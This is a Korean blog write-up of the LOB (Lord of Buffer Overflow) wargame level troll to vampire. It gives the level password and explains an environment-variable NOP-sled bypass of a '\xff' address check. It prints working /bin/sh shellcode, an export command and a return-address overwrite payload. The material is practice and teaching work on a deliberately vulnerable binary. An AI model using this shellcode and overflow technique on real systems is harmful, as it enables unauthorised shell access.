System&Write up/LOB

LOB troll -> vampire Write up

Jubil 2017. 10. 10. 09:41
반응형

LOB troll -> vampire

 

ID : troll

Passwd : aspirin

 


접속해서 ls 명령어로 파일을 확인합니다.

 


cat 명령으로 code를 열어봅니다.

 

egghunter가 없으니 공격은 환경 변수로 하면 될 것 같습니다.

하지만 환경 변수는 스택의 위쪽에 위치하기 때문에 ‘\xbf'는 가능하지만 ‘\xff’를 우회하는 부분을 조금 생각해봐야 할 것 같습니다.

 

| main() | argc | argv | etc, env |

                        0xbfffffff

 

저 안에 있는 애들의 크기를 늘려주면 주소가 낮아지지 않을까요?

 

환경 변수로 공격하자는 목적이니

| main() | argc | argv | etc,                                                   env |

                                                                          0xbfffffff

환경 변수에 많은 NOP을 박아준다면 저런 메모리 구조를 가질 것이고, ‘\xff’도 우회할 수 있을 것입니다.

 

(그 외, argv[2]에 큰 값을 넣어서 공격할 수도 있을 것 같네요.)

 

대충 10만 개의 NOP과 셸코드를 사용해서 환경 변수를 만들어 보겠습니다.

 

export SC=$(python –c ‘print “\x90”*100000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"’)


 

 

tmp를 만들고 vampire 파일을 복사합니다.

‘\xbf’를 우회하기 위해서

 

./vampire `python –c ‘print “\xbf"*48’` 이렇게 쳐줍시다.


 

core 파일을 gdb로 열어보겠습니다.


 

예상한대로

| main() | argc | argv | etc,                                                   env |

0xbffe7410                                                                0xbfffffff

 

그럼 환경 변수를 찾아보겠습니다.


 

여기로 Return Address를 변조하면 argv[1][47] == ‘\xbf' and argv[1][46] != ‘\xff’ 를 만족하겠죠?

 

 

payload : ./vampire `python –c ‘print “A”*44 + “\xf8\x77\xfe\xbf"’`

 

원본 파일에 공격해보겠습니다.

 


exploit!

감사합니다.

반응형

'System&Write up > LOB' 카테고리의 다른 글

LOB skeleton -> golem Write up  (0) 2017.10.12
LOB vampire -> skeleton Write up  (0) 2017.10.11
LOB orge -> troll Write up  (0) 2017.10.09
LOB darkelf -> orge Write up  (0) 2017.10.09
LOB wolfman -> darkelf Write up  (0) 2017.10.07